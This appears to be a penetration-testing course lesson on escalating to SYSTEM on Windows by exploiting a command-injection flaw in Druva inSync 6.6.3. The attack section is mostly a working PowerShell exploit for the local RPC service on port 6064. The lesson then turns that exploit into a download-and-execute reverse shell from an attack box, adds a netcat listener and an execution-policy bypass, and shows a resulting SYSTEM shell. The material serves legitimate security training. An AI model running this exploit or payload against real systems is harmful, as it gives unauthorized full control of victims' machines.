**Vulnerable Services**

We may be able to escalate privileges on well-patched and well-configured systems if users are permitted to install software or vulnerable third-party applications/services are used throughout the organization. It is common to encounter a multitude of different applications and services on Windows workstations during our assessments. Let's look at an instance of a vulnerable service that we could come across in a real-world environment. Some services/applications may allow us to escalate to SYSTEM. In contrast, others could cause a denial-of-service condition or allow access to sensitive data such as configuration files containing passwords.

**Enumerating Installed Programs**

As covered previously, let's start by enumerating installed applications to get a lay of the land.

Enumerating Installed Programs

C:\htb> wmic product get name

Name

Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910

Update for Windows 10 for x64-based Systems (KB4023057)

Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127

VMware Tools

Druva inSync 6.6.3

Microsoft Update Health Tools

Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910

Update for Windows 10 for x64-based Systems (KB4480730)

Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127

The output looks mostly standard for a Windows 10 workstation. However, the Druva inSync application stands out. A quick Google search shows that version 6.6.3 is vulnerable to a command injection attack via an exposed RPC service. We may be able to use [this](https://www.exploit-db.com/exploits/49211) exploit PoC to escalate our privileges. From this [blog post](https://www.matteomalvica.com/blog/2020/05/21/lpe-path-traversal/) which details the initial discovery of the flaw, we can see that Druva inSync is an application used for “Integrated backup, eDiscovery, and compliance monitoring,” and the client application runs a service in the context of the powerful NT AUTHORITY\SYSTEM account. Escalation is possible by interacting with a service running locally on port 6064.

**Enumerating Local Ports**

Let's do some further enumeration to confirm that the service is running as expected. A quick look with netstat shows a service running locally on port 6064.

Enumerating Local Ports

C:\htb> netstat -ano | findstr 6064

TCP 127.0.0.1:6064 0.0.0.0:0 LISTENING 3324

TCP 127.0.0.1:6064 127.0.0.1:50274 ESTABLISHED 3324

TCP 127.0.0.1:6064 127.0.0.1:50510 TIME\_WAIT 0

TCP 127.0.0.1:6064 127.0.0.1:50511 TIME\_WAIT 0

TCP 127.0.0.1:50274 127.0.0.1:6064 ESTABLISHED 3860

**Enumerating Process ID**

Next, let's map the process ID (PID) 3324 back to the running process.

Enumerating Process ID

PS C:\htb> get-process -Id 3324

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName

------- ------ ----- ----- ------ -- -- -----------

149 10 1512 6748 3324 0 inSyncCPHwnet64

**Enumerating Running Service**

At this point, we have enough information to determine that the Druva inSync application is indeed installed and running, but we can do one last check using the Get-Service cmdlet.

Enumerating Running Service

PS C:\htb> get-service | ? {$\_.DisplayName -like 'Druva\*'}

Status Name DisplayName

------ ---- -----------

Running inSyncCPHService Druva inSync Client Service

**Druva inSync Windows Client Local Privilege Escalation Example**

**Druva inSync PowerShell PoC**

With this information in hand, let's try out the exploit PoC, which is this short PowerShell snippet.

Code: powershell

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(

[System.Net.Sockets.AddressFamily]::InterNetwork,

[System.Net.Sockets.SocketType]::Stream,

[System.Net.Sockets.ProtocolType]::Tcp

)

$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")

$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")

$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");

$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)

$s.Send($rpcType)

$s.Send($length)

$s.Send($command)

**Modifying PowerShell PoC**

For our purposes, we want to modify the $cmd variable to our desired command. We can do many things here, such as adding a local admin user (which is a bit noisy, and we want to avoid modifying things on client systems wherever possible) or sending ourselves a reverse shell. Let's try this with [Invoke-PowerShellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1). Download the script to our attack box, and rename it something simple like shell.ps1. Open the file, and append the following at the bottom of the script file (changing the IP to match our address and listening port as well):

Modifying PowerShell PoC

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443

Modify the $cmd variable in the Druva inSync exploit PoC script to download our PowerShell reverse shell into memory.

Code: powershell

$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.4:8080/shell.ps1')"

**Starting a Python Web Server**

Next, start a Python web server in the same directory where our script.ps1 script resides.

Starting a Python Web Server

yovecio@htb[/htb]$ python3 -m http.server 8080

**Catching a SYSTEM Shell**

Finally, start a Netcat listener on the attack box and execute the PoC PowerShell script on the target host (after [modifying the PowerShell execution policy](https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy) with a command such as Set-ExecutionPolicy Bypass -Scope Process). We will get a reverse shell connection back with SYSTEM privileges if all goes to plan.

Catching a SYSTEM Shell

yovecio@htb[/htb]$ nc -lvnp 9443

listening on [any] 9443 ...

connect to [10.10.14.3] from (UNKNOWN) [10.129.43.7] 58611

Windows PowerShell running as user WINLPE-WS01$ on WINLPE-WS01

Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32>whoami

nt authority\system

PS C:\WINDOWS\system32> hostname

WINLPE-WS01

**Moving On**

This example shows just how risky it can be to allow users to install software on their machines and how we should always enumerate installed software if we land on a Windows server or desktop host. Organizations should restrict local administrator rights on end-user machines following the principle of least privilege. Furthermore, an application whitelisting tool can help ensure that only properly vetted software is installed on user workstations.